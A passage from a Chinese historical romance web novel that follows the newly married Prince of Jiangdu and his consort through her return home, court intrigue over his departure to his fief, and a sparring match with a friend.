“你叫宛宛是吗?”百里漾当然不会跟这么可爱的小姑娘生气,他认得出来这是定国公最小的孩子,也是颜漪的同胞妹妹。那日迎亲之时他就见过,小姑娘的眉眼之间与颜漪很相像,只是脸蛋圆圆略有婴儿肥,很是可爱。 小姑娘还是很有礼貌的,见百里漾问她的名字,虽然气势还是很凶,却还是先回答了他的问题,甚至还记着二哥颜青梧的话要叫他姐夫,“是的,我是宛宛,姐夫。” 这声叫“姐夫”的软萌又清脆的小嗓音一下子就击中了百里漾,对“姐夫”这个身份充满了认同感。他身材高大,见宛宛同他说话仰着脑袋很是费劲,弯下腰指着不远处的矮石桌凳同她商量,“方才走了一路有些累了,我们去那里坐着说话好不好?” 百里漾神情真挚,宛宛不疑有他,点头,“好啊,我们去那里说话。”她率先往前面走,走了几步还记得要回头看百里漾跟上来没有。 从头看到尾的颜青梧对百里漾有几分侧目,想不到这个妹夫竟然有如此耐心哄小孩,而且观其神色姿态看不到半点勉强,不似做伪。他彻底放下心来,也不多出言干涉这两人就大妹妹颜漪的问题进行交涉了。 “等会儿你离开之后还要把阿姐带走么?”宛宛对这件事情很看重,执着地朝百里漾问道。 她算是定国公的老来女,自小便很受宠爱,性子也由此变得有些纯真。之前她不是不知道阿姐要嫁给江都王也就是眼前这个人的,她当时还捏着小拳头说姐夫要是对阿姐不好就找兄长们收拾他,实则并不是很能明白嫁人的含义。她以为的嫁人就像是二兄与二嫂一般,每日都能在府中见到,故而大婚那日亦是欢喜的。结果后来发现根本不是那么回事,阿姐嫁人了就不在府中了,不管曹氏他们如何解释劝说,她就是固执地认定阿姐是被人抢走了。 而抢走她阿姐的人就是眼前的这个。宛宛一想到阿娘说的等吃完晚饭之后阿姐还是要跟着这个姐夫走,急得都要哭出来了。 “诶诶,怎么哭了。”眼看着这小小姑子突然眼睛就含着一包泪,泪眼汪汪的,百里漾一下子就手足无措了,又有些哭笑不得,“别哭啊,我不抢你的阿姐。” 好说歹说总算让宛宛相信自己不是坏人,但抢走阿姐这事是解释不清楚了。因为百里漾确实不可能应了宛宛吃完晚饭不把她阿姐颜漪带走。自己的王妃肯定是要跟自己回家的啊。 眼看着宛宛马上就要掉小珍珠了,百里漾彻底没辙了,只好将求救的目光投向了旁边的二舅兄。颜青梧见状也很头疼啊,这几日为这事与幼妹解释好几回了,可是就是说不得通。宛宛就是不愿意让大妹妹离开府里,说什么都不依。之前还以为母亲给哄好了,没想到今日直接找上“正主”来了。 好在两个人左右为难之际,颜漪便如同救星般出现了,“宛宛,不要胡闹。” 宛宛闻听阿姐的声音,眼眶中正在积蓄的眼泪停住了,飞快跳下凳子朝颜漪飞奔而去,如愿地扑到了自家阿姐的怀里,“阿姐,你不要走好不好?” 看着幼妹一副随时要哭的模样,颜漪将疑惑的目光投向了百里漾以及颜青梧。百里漾略微有些尴尬,还是颜青梧走过去将事情简单说了一下。之后颜漪就将小姑娘单独带走,也不知道说了些什么,后来宛宛也不执着于非要百里漾答应不带走她阿姐了。只是在百里漾与颜漪登车前捏着小拳头气势很凶萌地对他说放话说要是敢欺负她阿姐就要他好看。 百里漾哭笑不得,弯下腰与她拉勾,“好,要是我欺负你阿姐,宛宛尽可以来收拾我。” 两人登上江都王宅的车驾之后,从掀开的车帘一角看见定国公府的众人愈来愈远,直到转过街角彻底看不见后,颜漪才将掀起的车帘放下。 第68章 宜城驸马 百里漾知道颜漪此刻的心情怕是不好受。嫁人离家, 离开自己生活了十几年的熟悉的地方,甚至不久后就要离开湛京远去江都,少说一年半载的都见不到家人, 换作是谁心里都不会好受的。而这很大一部分原因是因为嫁给了他。他不知如何安慰颜漪,只能静静地等待颜漪将难过的情绪缓过去。 “大王,我无事的。”车厢内的寂静没有多久便被颜漪出声打破,她看向眼含担忧的百里漾,轻轻摇头, 示意他不用担心。嫁人离家之后, 这些她总是需要面对的。她本身的选择并不多, 能够嫁给百里漾已经很好很好了。 “在我们离开湛京之前还有些时日,若你有暇尽可以回家。毕竟宛宛那里还需要王妃替我多美言几句, 她现在可是将我看做了拐走你的坏人呢。”百里漾存了心活跃气氛,故意用轻松的语气将宛宛的事情说出来。小姑娘将他当做坏人, 算起来也是一件麻烦事呢。 “以前在家中时很多时候是我带着她的。如今宛宛只是一时不习惯,她并无恶意, 还请大王勿要怪罪。”颜漪心中伤感难过的情绪因为百里漾的话瞬间驱散了许多, 又因为宛宛的事情而向百里漾致歉。 百里漾见她容色轻松了些, 哈哈笑着摆手,说到后面多了几分真诚感慨,“宛宛很可爱,她也是担心你受欺负才会如此。有这样的妹妹真的是一件很幸福的事情,我当为你高兴才是,又如何会去怪罪。” 颜漪有些意外于百里漾会这般想,心中很是动容,不由说道:“大王真的是一个很好的人呢。” 突然被自家王妃发了一张“好人卡”的百里漾眨了眨眼睛,顿时有些不好意思, 最后轻咳一声,“你既是我王妃,我对你好是理所应当的。” 回到江都王宅后,夜色渐深沉。今日归宁,百里漾有心让颜漪在定国公府中多待些时间,故而今日大半的时间都是在定国公府中度过的。国公府之人皆热情,百里漾作为新婿受到了最好的招待不说,回去之时亦得到了许多回赠之礼。其中有许多一看便知是定国公夫人曹氏为女儿颜漪准备的。 将一切都处理妥当之后,已是夜深。百里漾与颜漪各自沐浴之后回到寝房,困意袭来不禁打了一个呵欠,与颜漪道了一声“好梦”之后便陷入了梦乡。他睡着之后,颜漪睁开眼睛,微微侧转过身来盯着他的睡颜看了好一阵,容色暖融,没多久也陷入了睡梦之中。 此时夜半,整个湛京笼罩在一片巨大而沉凝的夜幕之下。虽说万家灯火已寂,可这是天子脚下,总有几处是依旧亮着光的,有人,亦有声音。其中一处更是灯火如昼,许许多多的人凑在一起,推杯换盏。台上舞姬翩翩起舞,耳边丝竹声不绝,台下看客们更是高声笑语不断,气氛热烈,不时有人大声起哄,随后又与周围人笑作一团。 勾栏瓦舍之地,美酒佳肴,彻夜欢歌,其中之人自是好不快活。此处号称湛京最大的销金窟,往来的多是家资丰厚、身家显贵之人,其中亦不乏有一掷千金者,被奉为坐上宾。眼下夜色深沉,正是此处最热闹之时。 外面多的是人正往此处敢来,其中一人打马而来,到了门前利落翻身下马。能在此处门前迎客之人皆锻炼出了非同一般的眼色,见了此人立时扬着笑脸迎上去,将他径直带上了一处最上等的包间之中。 “瞧瞧,是谁说贺兄不来的。这不是来了么,说错的人快快自罚三杯。” “贺兄可真是让人好等。” “贺兄来迟,自罚三杯不为过吧?还不快给咱们的贺世子满上。” 包间之中一群勋贵子弟,见宜城驸马来了纷纷叫嚷着让他自罚三杯。宜城驸马也知道是自己来迟了,也不推脱,爽快地连饮了三杯,每次还将酒杯倒置过来,未有一滴酒漏出,赢得一片赞他“豪爽”的叫好之声。 与这些人吃酒笑语好一阵,宜城驸马也如他们一般衣襟散乱,半躺半靠依在食案之后,脸颊通红,听着这群人的奉承之语,将这几日心中积攒的憋屈与怒火都驱散了大半去。他喝着嘴边伶人奉过来的美酒,不时附和几声这些人的话,没多久便显得有些心不在焉。 宜城驸马今夜来此处除了排解心中对宜城公主的怨愤外,还有一件更重要的事情。可眼下还没有到他们约定的时辰,他也只能暂且等着。好不容易时辰到了,宜城驸马便装作不胜酒力需要去外面吹吹风,其他人不疑有他,只是喊着让他快些回来。 此处人多,人来人往的,宜城驸马在其中算不得显眼。他走着走着便转入了另一间包厢之中。而这包间之中已经有人在候着了。 “吕先生。”宜城驸马见到包间中之人快步上前作揖,口称“先生”,言语之间不乏恭敬之意。这便是他今日来此真正要见之人。 “驸马爷客气。”此人一身文士打扮,身材略显干廋,面白微须,颇有几分儒雅气质,见宜城驸马进来便起身相迎,邀他入座。 两人过了一下场面话便进入了正题。 “顾晟开十有八九是对如今的江都王妃心怀情意。今日我遇见他时,他正坐在酒楼之中独自喝酒。而那酒楼的位置正好在江都王妃归宁回定国公府的必经之路上。”宜城驸马嘴角噙着笑,一副已然看透的姿态,“挑那个时辰那处地方,说他心中若是没想法,谁信?” “除此之外,驸马爷可还试探出什么来了?”吕先生问道。不过是心上之人另嫁他人,只知晓这一点并不是他们的最终目的。 “这厮口风紧得很,无论我如何试探,他都不显露半分。”宜城驸马想起今日在酒楼之中不惜自曝家丑以试探顾晟开对江都王的态度却换不得他半分有用的反馈,不由得气恼非常。他在顾晟开面前演戏做戏,现在想来怕不是给顾晟开看了一场笑话去。 “依我看,他未必会接受我们的拉拢。”愈想愈气,宜城驸马不由忿忿,抓着酒壶就朝嘴里灌了一大口酒,入喉便感觉到了一股辛辣之味,忍不住咳嗽了几声,又忙去喝水顺气。 吕先生尚在沉思,并未说话。 宜城驸马则继续说道:“定国公嫡长女如今已嫁江都王为妃,定国公府明摆着已与椒房东宫绑到了一起。顾晟开是定国公亲外甥,他天然便是与定国公府站一边的。要使他转投入我们这边,几乎是不可能之事。” 在宜城驸马看来,顾晟开与定国公府绑定太深,他身上天然就带着定国公府的烙印。即便如今因为心仪的表妹嫁给了江都王而一时想不开,那也只是一时的。他总不至于因为这事就与定国公府翻脸,做不成国公女婿也总归是外甥,任谁都不会想失去定国公这样一座如此大的靠山。这女人哪有权势前途来的重要。 宜城驸马自己是这般想的,奈何那位偏要叫他去试上一试,连眼前的这位吕先生也是这意见。他新投诚不久,需要做出一些成绩来证明自己的价值。故而哪怕觉得此事很不可能,却还是去做了,牺牲颇大,还爆出了自己与宜城公主夫妻失和之事。结果亦很显然,他们何必去做这等无用之功。 吕先生知晓宜城驸马今日在顾晟开那里受挫怕是心气不顺,对他说要放弃拉拢顾晟开之语没有直接否了,而是意味深长道:“自江都王成亲以来,顾晟开在南衙多有受挫。” “意思是说他与定国公府之间的关系出现问题了?”宜城驸马有些不可思议,但他不会怀疑从吕先生口中说出来的消息的准确性。 顾晟开姓的顾氏虽然没落不成气候了,可在这湛京之中谁不知道他是定国公颜定山的外甥。沾了这层身份的光,顾晟开二十出头就在南衙当上了校尉,日子过得十分滋润不说,别人还在绞尽脑汁如何晋升时,他根本不必考虑这个问题,定国公早将路给他铺好了。顾晟开除非是脑子出现问题了才会与定国公府闹翻。 “不排除这个可能,主上亦是因此才让我们去试探一番。”吕先生说道。 南衙统领以前曾在定国公麾下做事,若无定国公府的暗中授意,顾晟开在南衙的处境都不会变得如此糟糕。 “这究竟是怎么一回事呢?”宜城驸马闻言不由深思,他不傻,立即意识到顾晟开与定国公府之间肯定是发生什么不得了的事情了,如今这定国公显然是要教训一下这个外甥,他问道,“吕先生可有查到什么?” 吕先生遗憾摇头,“两府皆将事情捂得很紧,丝毫打探不出来。”正是因为如此,他才觉得顾晟开与定国公府之间出了大问题。若能以此为契机离间顾氏与定国公府的关系,拉拢顾晟开,于他们而言亦是一件大好事。 顾晟开此人自小由定国公亲自教导,各方面能力都算得上出众,若能将他拉拢过来,主上定会对他们更为赞赏。 吕先生道:“暂且看看,徐徐图之。”显然是不打算放弃这条路子。 宜城驸马没有说话算是默认下来,起身道:“我不能消失太久以免让人察觉出端倪。”他与吕先生的会面是私下进行的,尚且不能让外人知晓他们之间有往来。 “后面的事情还是需要劳烦驸马爷亲自出马。”吕先生起身相送,临别之际拱手朝宜城驸马如此说道。 “光凭我一人可不行,顾晟开与定国公府之间究竟生了什么龃龉还是要吕先生多多费心去打探。”宜城驸马回首看了一眼吕先生说道。 “费心不敢当,为主上分忧是我等分内之事。”吕先生面上挂笑,回道。 在宜城驸马离开之后,吕先生又回到座位上斟酒,这回他斟了两杯,显然这包间之中还有另一人存在,且此人是一直在此却不露面。已经离开的宜城驸马也不会知道,这次他与吕先生的私下会面还有第三人在场。 “宜城驸马可信?宜城公主可是山阳王的同胞姊妹。”这人从吕先生背后的屏风绕出来,伸手取走了属于自己的那杯酒。 “正因为宜城公主是山阳王的同胞阿姊,他才不会帮山阳王。”吕先生嗤笑一声,看着手中酒杯里被摇晃的酒水,“他怕是以尚宜城公主为此生之辱。如今庆阳侯世子之位空悬,他想做世子却无助力,思来想去可不得求到主上这来。” 庆阳侯世子几月前暴毙,他一死世子之位便空了出来。宜城驸马身为庆阳侯嫡次子,自觉合该是他做世子,但无论是宜城公主还是庆阳侯都不愿他去做世子。因为这事,宜城驸马与两边都快吵翻了。 “他的事还好说些,但是顾晟开与定国公府之间……”这人拿眼去看吕先生,深觉棘手,“主上的打算怕是没有那般容易如愿啊。” 他们二人俱是暗中投靠在主上的门下,一直奉命留在湛京之中为主上探听消息、拉拢有价值之人投身入他们的阵营。这次顾晟开之事是主上离开湛京之前亲自吩咐他们去接触试探的,少不得要多费心费力。最后即便不成也要拿出足够的东西出来让主上满意。 “越是不容易之事,做成了才显出能耐来。”吕先生将酒杯中的酒全都倾倒入口中,话题一转,眼神也变得犀利深沉,“不过这些事在眼下都不是最重要的,江都王大婚已过,是时候该携王妃回江都了。” “正该如此。”这人以拳击掌,眼中爆亮,冷哼道,“同为皇嗣,亦为诸侯王,本就不该如此厚此薄彼。再拖下去,唯恐椒房与东宫又使出什么伎俩拖延离京之事。” 若是江都王一直留在湛京,哪还有他们主上什么机会。可皇帝摆明了偏心椒房,他们也只得忍耐。如今两月余也忍过来了,江都王都携王妃三日回门了,也该回封地了。 “事不宜迟,你我皆暗中联系朝中大臣去促成此事。” 归宁之后,百里漾与颜漪总算落得了两日清静空闲时间。他们也不是完全没有事情做,每日要去椒房殿给皇后请安,然后便是去东宫太子处、栎阳长公主处坐坐。 东宫,百里漾随太子进入书房之后,太子指着书案上的一摞奏本同他说道:“这些都是这几日朝臣上奏让你回江都的。” 百里漾过去翻了翻,理由说辞都差不多,不外乎是说他一外封的诸侯王老待在京城算怎么回事,不合规矩。之前是陛下惦念幼子婚事,可如今都已成婚了,也是时候该回去了。更聪明一些的则说北面离渊不稳,江都无人坐镇,恐不安稳云云。 “他们倒是速度快。”百里漾翻了几本就不翻了,折回来坐到太子对面,给太子面前空的茶杯续上了,“我还以为他们能等几日呢。” “这些归宁之后陆陆续续便有了,连着三日就攒了二三十本。”太子吹了吹茶杯里的茶沫,“明日我面见陛下时就得呈上去。” 太子参政多年,皇帝有时会令人直接将上奏的奏本送到东宫,若无大事,太子可自行处置了。这些奏请江都王离京的奏本太子本可以压下,但因为要避嫌,太子反而不能够将这些压下去,还要呈给皇帝知晓- 作者有话说:感冒太难受了,这周榜单实在是补不完了。 第69章 回江都之前 那些上奏本的臣子也知如此, 这才无所顾忌地纷纷上奏。 太子沉声道:“之前有陛下赐婚的旨意在,他们有所顾忌不会在你成婚之前去触怒陛下。忍到如今,他们也忍不住了。此事你要做好准备。”他的眉眼之间积压着一层阴云, 显然也是被这些人的动作弄得心烦。这些人通通都打着将他的弟弟赶出京城的主意,背后站着的也都是他那些野心勃勃的异母兄弟们。 “阿兄放心,对这些我早有预料了。”百里漾知道他一完婚那么距离他离开湛京返回江都的时间就不会远了,故而对眼前这些奏本并没有产生多大的情绪波动。 “若非出了离渊之事,本来还能留你一段时日的。”太子叹息道。眼看着大衍与离渊将有一战, 这时候留百里漾在湛京反而不是一件好事。他看向百里漾, “过几日便能有结果了。这段时日你多去几趟椒房殿与阿娘说说话, 陪陪她。” 太子对皇帝还是有几分了解的。等明日他将这些奏本呈上去,皇帝十有八九是会应允这些朝臣所奏的。按照如今的局势, 皇帝也会倾向于让五郎会江都的。回江都也好,等他们将湛京这边的局势理干净了, 五郎再回来也不迟。 “嗯,阿兄放心, 我会多去向阿娘请安的。”百里漾微微抿唇, 应道。 “好了, 我们出去吧。”太子笑了一声,起身拉着百里漾走出书房,“阿荧久不见我们,怕是闹着要来找了。”他在提及阿荧的时候,身上太子的威仪尽褪去,只剩下了一位父亲对女儿的慈爱温和。 百里漾眸光柔和,心中亦软了一片。下一瞬他又想到太子孱弱的身体,又忍不住酸涩。太子回头见他定在原地,想到了他已成婚, 忽然说道:“说来阿荧一直同我抱怨没有同辈的弟弟妹妹一道玩耍,宫中能与她玩到一块的也只有八弟,依旧是隔了一辈。”末尾伴随着一声长叹,还用那种“你懂我意思”的目光看着百里漾。 “……”百里漾看天看地就是不看太子,走过去越过太子,顾左右而言他,“阿兄我们快走吧,若是让阿荧等急了可不好哄。” 太子盯着百里漾的背影看了好一会儿,无奈摇头一笑,随后跟了上去。 等百里漾和太子回到前厅的时候就只见到太子妃与阿荧在,百里澄与颜漪却不见了踪影。百里漾纳闷问了一下,太子妃还没有回答,阿荧就瘪着嘴答道:“姑姑与五婶去玩了,不带我。” 小姑娘特别幽怨,还有些气鼓鼓的。太子妃摸了摸她的小脑袋安抚,对百里漾说道:“长公主说要与五弟妹说说话,两人往湖边去了。” 百里漾点了点头,也没有说要去找,反而对阿荧说道:“五叔带你去蹴鞠好不好?” “蹴鞠?”瘪着小脸的阿荧一听到这话,眼睛瞬间就亮了,她扭头去看太子妃,“阿娘我能去么?” “去吧,别跑疯了。”太子妃拍拍她的小胖手,说道,“别玩的太晚了,晚些时候还要去母后那边用膳。” 百里漾笑道:“阿嫂你放心吧,差不多到时辰我们便回来了。” “好诶,五叔你等着我。”阿荧欢呼雀跃,同百里漾说道,“我去拿我的小藤球。” “好,你跑慢些,五叔等你。” 百里漾见阿荧一溜烟就跑没影了,赶紧说道。 在椒房殿用过晚膳之后,百里漾与颜漪出了宫门登车回江都王宅。此时夜幕渐落下,唯余天际边缘还残留着一点落日的昏黄。天光已没,星幕未起,万家灯火渐起。也是凑巧,江都王宅的车驾过处,灯火一片片地亮起,像是被一点点地点燃一般。 百里漾掀开车帘,朝外望去,久久不曾回神。 “夜里风大,大王当心着凉。”身后传来颜漪略带担忧的声音。 如今已是八月,秋风渐起,白日时还不觉得,到了晚上便有些凉了。晚膳时百里漾在椒房殿喝了些果酒。这果酒喝时甜,后劲却颇霸道,百里漾喝的时候没啥感觉,等走出椒房殿时酒劲开始上头了,觉得有些晕乎乎的。 百里漾还没回应,迎面便被一阵凉风扑了脸,初时还觉得舒服,岂料风越吹越大,一下子就被车帘打了脸,“诶呦”一声退了回来。车厢里的颜漪见状又无奈又好笑,倾身上前将他拉回来,一面看他捂着的脸,“伤到哪了?让我看看。” 百里漾捂着脸的手被一双柔软清润的手拿开,颜漪凑近细看了,“还好,只是额角有些淤青,回去敷些药便会好了。” “唔,应该是被帘角的装饰物打到了。”百里漾还有点反应不过来,伸手去碰了一下,疼得“嘶”出声来,眨眨眼,看着自己的手,“方才那阵风是真的大啊。” 一看就是酒劲还没有过去,人还是傻的。 “大王方才在看什么?”颜漪拉着百里漾坐好,也好奇他看到了什么迟迟不愿进来。 “看湛京,夜晚的湛京。”百里漾惆怅之中也有失落,声音中有藏不住的叹息,“再过一段时日,这些就都看不到了。” 为何看不到?因为他很快就要离开湛京前往江都了。 颜漪看到他这副样子,落寞且可怜,想起他十二岁就离开湛京远去江都就封,年少离家,远离亲人,五年不得回。如今好不容易得回一趟,不久后却要离京,心中不由起了些怜意。正待她想说些什么安慰百里漾时,却见他低垂着脑袋道:“因为嫁我,你也要跟着我一块去江都了。也要许久不能见到自己的阿娘、兄长与妹妹了。” 颜漪一愣,她从百里漾的话中感受到了他的歉意,像是自己是被他所连累了。 许是夜里易伤情,又没有听见颜漪说话,百里漾便自顾自往下说道:“江都虽然距离湛京不算远,可是若是回不来,再近又能如何呢?我想回来其实又不大想回来的。若是后面几年或者以后我都不回来,王妃你、你当是能回来的。回来看看岳母也好,日子就了不见,彼此之间定是会思念对方的。” “大王。” 颜漪听百里漾这自说自话里透出来的意思,不由身心一震,她忙凝神去看百里漾的神色,见他眼睛并不如平时灵动,依旧懵懂茫然,又因为他后面的话而变得心中塌软一片,说出了今日她与栎阳长公主百里澄单独说话时说出的那句话,“能嫁给大王是我此生之幸。此后虽再难见到湛京的风光,江都的景致却也能够令我流连。” 百里漾不知是听懂了这些话没有,黑漆漆的眼眸愣愣地盯着自家王妃瞧,忽然说了一句与前头毫不相干的话,“王妃,以后你、你能不能、不、不要叫我‘大王’?” 饶是颜漪知晓百里漾已经醉了,依旧是被他跳脱的话题弄得无奈至极,她告诉自己不能与一醉鬼计较,也对他这话觉得稀奇,问道:“为何不能叫‘大王’?这是大家对你应有的称谓。” “就是、不能叫大王。”百里漾很坚持,却不说缘由,“成亲那夜我便想说这事了,后来、后来一直没说。今日说了,以后、都不许了。” 他不说,颜漪心中便越是好奇。只是眼下怕是问不出缘由了,她暂且记着留待来日再问,便顺着百里漾的话往下问道:“不唤‘大王’,那要唤什么?” “是哦。”百里漾显得呆呆的,他眨巴眨巴眼睛,开始闭眼冥思,嘴上亦跟着数,“阿娘他们都叫我五郎,幼时又叫过阿漾的。我还没有取字……”念着念着,声音渐小。 颜漪转眼去看,却见这人靠在车厢壁上竟然睡着了,不由好笑。但看百里漾这样的睡姿,左右无依的,车驾稍稍一个颠簸就能将他颠醒,到时也不免磕到。她微微向前将这人姿势调好了,背靠着软枕也能舒服些。 周围皆静寂,唯有铁蹄踢踏在地面以及车轮子碾压过青石板面的声音。车驾之内,颜漪看着安静睡着的百里漾,左侧车帘被风吹起露出了外面被过路屋檐半遮掩的夜空,吸引了她的注意。 方才百里漾看的就是这片夜空么?朗月无星,时有浮云遮影。皎洁的月光洒下来,周围的一切都罩上了一层轻纱似的光影。 这湛京的夜空她见了许多,却不知江都那边的与之相比又如何?总是有些不一样的罢。 百里漾一觉醒来便发现自己躺在王宅寝房的床榻上,可他的记忆却停留在昨夜出宫登车时,后面发生了什么几乎是一点记忆都没有。他从床榻上支起身靠坐着,脑子犯晕不说还有些一顿一顿的疼,暗道昨夜晚膳时长姐拿来的果酒酒力果真霸道,他出了椒房殿就开始晕乎乎的,后面登车时还吹风来着,然后他还做了什么,不会撒酒疯吧? 他到底是怎么回来的?嘶,真的想不起来啊。 缓了一阵脑袋没那么疼了,百里漾才起身叫人进来。伺候洗漱的人鱼贯而入,领头的是一婢女,百里漾认出她是颜漪身边那名叫初禾的婢女,还没等他问,初禾便道:“王妃说您昨夜喝了酒醒来必定难受,备了解酒缓解的汤药令奴婢送来给您。”她手边的托盘上的确盛放着一碗黑漆漆的汤药。 百里漾看了一眼,点头道:“先放着,我稍后再喝。”他眼睛转着在寝房里寻了一圈,问初禾,“王妃何处去了?” 第70章 崔栋夫妇来访 “王妃起身后去了书房, 至今未出。厨房已为大王备下早膳。”初禾边回答边指挥着周围的侍人伺候百里漾穿衣洗漱。 百里漾很想知道自己昨夜到底是怎么回来的,初禾是颜漪的亲近婢女,昨夜回来时她也应当在颜漪身边伺候的, 对于昨晚发生了什么应该是知道的。他挺想问初禾的,但担心自己昨夜真的做了什么失态的事情,犹豫片刻决定还是不问了。 洗漱穿衣用膳之后,百里漾得知颜漪还待在书房之中便过去寻人。他至书房时,颜漪正在书案旁手执一根毛笔在作画。见此情景, 百里漾下意识将脚步放轻, 以便不打扰那此刻专心致志的人。 “大王醒了, 可去用膳了?”百里漾想要悄然靠近,岂料在他进门时颜漪余光便发现了门口显现的阴影。 书房之地, 能这么进来的整个江都王宅也就百里漾一人。他们两人到底成亲不久,相处的时间并不多, 颜漪摸到了一点百里漾的性情,却不能完全猜到他此刻静悄悄进来想做什么, 于是选择主动询问出声。 百里漾见自己被发现了, 干脆也不再轻手轻脚, 大步走上前,却有些不自在,不怎么敢看颜漪的眼睛,目光正不知怎么放好,余光却瞥见了案上的新画作。白雪皑皑,风霜侵逼,悬崖峭壁之上,一树枯梅枝上生长出了一朵娇艳的梅花,凛然傲立。 一眼见之, 几以为真。反正百里漾见到便是如此感受。 “王妃画技非凡,这梅花宛若真的一般。”百里漾赞叹不已,伸出手去想触摸那朵梅花,差不多碰到时立即想起这是未完成的画作,手当即收了回来。他看向颜漪的目光之中满是赞叹,“昔年曾在江都见过柳公的画作,王妃之作比之亦不逊色。” 百里漾夸的是真心实意。大衍的皇嗣教学之中当然也有教习琴棋书画的内容,只是百里漾也没有什么艺术细胞,学的最好的是“书”,字还拿得出手,其余只能算是平平,堪堪能够过关的水平。对于这些方面出彩之人,他都觉得十分厉害。 大抵是颜漪头一回受到如同百里漾这样真诚的盛赞,心中有些欢喜的同时也生了些羞意,口中谦虚道:“我之画技相去柳公甚远,可不敢与柳公相比。” 百里漾在脑海中再次将柳公所作之画与眼前的这幅认真比对,似乎是柳公更厉害一些,他夸奖王妃太过,但那一眼的震撼总不是假。 他亲手作画不行,因身份原因这些年却也见过不少佳作大作,王妃的画作也当在此列之中。他还是认真道:“在我心中,王妃亦是画技高超的厉害之人。” 颜漪不让他夸,他便越是夸得认真且真诚。这回轮到颜漪不敢去看他的眼睛了。画作还未完成,她尚镇定对百里漾说道:“大王且稍等,待我将这画画完。” “你且不忙,慢慢来便是,我不着急的。”百里漾忙说道。作画是慢功夫细致活,本该静心无烦扰,如此才可笔随心至,落笔有神。他一想到是自己的到来打扰了王妃作画不免懊恼,又想着自己这么大个人杵在旁边怕不是个超大干扰源,干脆轻手轻脚退出去了。 颜漪余光见百里漾退出书房,唇角上扬了一抹浅浅的弧度,很快便消弭,专注于笔下之画。 百里漾出了书房之后在王宅里转了几转,周围侍人见他实在不知道干什么,提议道:“大王这几日忙于婚事不曾练武,不若去校场练武,热热身。” 百里漾脚步一顿,回首看那侍人。侍人以为自己说错话了,吓得要跪下请罪。 “不干你事。你说的很对,难怪我这几日总感觉忘了什么。”百里漾摆手让他起来。他惊觉这几日确实疏于练武,深觉不能如此惰怠,前几日欠的武课也要找时间补回来。 百里漾回到寝房重新换了束身窄袖的衣服,在去校场的路上不忘吩咐身边的侍人,“若是王妃来寻,就说我在校场。” “诺。”侍人恭敬应下。 即便没有百里漾这句话,但凡王妃问起大王的行踪,王宅里的侍人就没有不说的。 自王妃嫁入王宅以来,他们大王行事处处显出对王妃的看重,几乎是无论做什么都惦记着王妃,甚至还不忘时时给王妃报备自己的行踪。底下的人本来就因王妃的出身不敢怠慢,如今又瞧见自家大王对待王妃殷勤热切的态度就更加不敢得罪王妃了。 江都王宅内设有校场,其实就是供百里漾练武的场地。校场宽阔,长宽皆有二十丈余,为的就是使人在其中练武时能彻底活动开。左右两面皆摆放兵器架子,常见的各式刀枪剑戟斧钺陈列其上,一些如锤、锏等也列入其中。弓、箭、靶亦齐全,随时可挽弓射箭。 百里漾选了一柄精铁长槊,足有三十斤的马槊握在手里很有份量。他掂了掂重量适应了一下,双手握持让长槊舞动起来,随即绕着腰周舞动,很快便进入了状态。校场之上很快便满是他舞动长槊的影子,呼啸声不止。 练了两炷香的时间,最后一式,百里漾持长槊朝前奋力一刺,长槊刺入木桩,势如破竹直至穿透而出。百里漾收势,持槊而立,鬓发被汗水浸湿,面色透红,微微有些喘。他看了看自己握着的长槊,回忆方才舞动时的感觉,总觉得差了些什么。 这时有人来禀报,“大王,崔都尉携夫人拜见。” “人在何处?快请。”百里漾忙道。他成亲后的这几日都没怎么见过崔栋,知道崔栋带着妻子卢氏上门拜访还是很欢喜的。 等了一会儿,崔栋来了。他一见到持槊而立的百里漾先是行礼拜见,而后说道:“你一个人练怎么有意思,少说也得两个人对练才出成效。我来与你比划比划。说来我们也有好一段时间没有对练了。” “废话真多。”百里漾走到兵器架边抽了一把长戟扔给崔栋,“正好让我看看你这段时间有没有沉溺于温柔乡而疏于练武。” 他们两人,一人使长戟,一人使长槊,都是长兵器,兵器在各自的手里舞动生风,过招间碰撞发出铿锵有力的震颤碰撞声,甚至还擦出了火星。一开始的几招都只是热身,后面便开始动真格的了。 崔栋从小于习武之道上就表现出来惊人的天赋,他十岁就能挑飞百夫长了,成长至如今已是一名合格的勇猛之将。哪怕自小他们对练过不知道多少回,亦能很熟悉对方的出招方式与习惯,可百里漾每次与崔栋对练都不能掉以轻心。 几十招过后,百里漾横槊于身前稳稳挡下崔栋的一记跳劈,同时腿攻扫他下盘。趁崔栋抽身腾转躲避之际,百里漾身法灵活向后腾跃,一脚重重踏在周围固定的大木桩上借力冲来,反身朝崔栋刺出一槊。 “哐!”崔栋横戟格挡,兵器碰撞震得两人双手都有些发麻。 “不错不错,看来我们都没有懈怠,再来。”崔栋与百里漾过了上百招,打得浑身火热,兴头上来,提戟要再战。 百里漾当然乐意奉陪。两人很快又交上手,兵刃交接碰撞出的火花和声音响遍整个校场,扬尘飞舞,坚硬的地面更是不时被大力摩擦划拉出“呲啦”声的火星子。 两人“乒乒乓乓”地又打了大半个时辰,到最后都把兵器扔回兵器架子上,各自大口喝着旁边侍人递过来的水。 “咕咚咕咚”,崔栋将一茶壶的水都喝干,豪迈地以手背擦拭嘴边的水渍,拍拍肚腹,看向百里漾,“正好饿了,我们去寻她们用午膳吧。” “她们”指的自然是颜漪与卢氏。崔栋携妻子卢氏来江都王宅拜访,眼下他与百里漾在校场练武过招,卢氏自是去寻颜漪说话去了。 百里漾有点微妙地看了崔栋一眼,这货以前没成亲时一个人来蹭饭就算了,如今都已成家干脆带着妻子一道来蹭饭。 崔栋已经开始吧唧嘴回忆一些好吃的菜肴的味道了,“上次吃的那个叫什么醋鱼的味道就很不错,还有炙烧羊肉,不能想,再想口水就要流下来了。五郎,你咋不说话啊。” “说就说,你这么看着我做甚?”百里漾很不想搭理他,偏偏这货睁大了眼睛巴巴望着,想忽略都难,只能木着一张俊脸,“装什么装,这宅邸的厨房你都去过多少回了,还要我给你领路么?想吃什么自己去叫厨房做去。” “好勒,就知道五郎你大气。”崔栋喜笑颜开,朝百里漾竖起大拇指,“回到湛京就念着江都那边饭菜的滋味,家里厨子做的总感觉差点意思,还是五郎家中的地道。” 这货说着就跑了,“我去厨房瞧瞧,顺道叫他们上些好酒,我们几个好一道用膳。” 眼看着崔栋一下子就跑没影了,百里漾也就摇头随他去了。方才与崔栋结结实实打了好几场,出了很多汗,现下浑身粘腻得紧。午膳准备也要一段时间,他脚步一转往浴房的方向沐浴更衣去了。 小半个时辰后,百里漾重新换了一身青蓝色袍服到园中的轩榭却只看见了崔栋一人,环顾了一圈,不由问道:“怎么不见王妃与表嫂?” 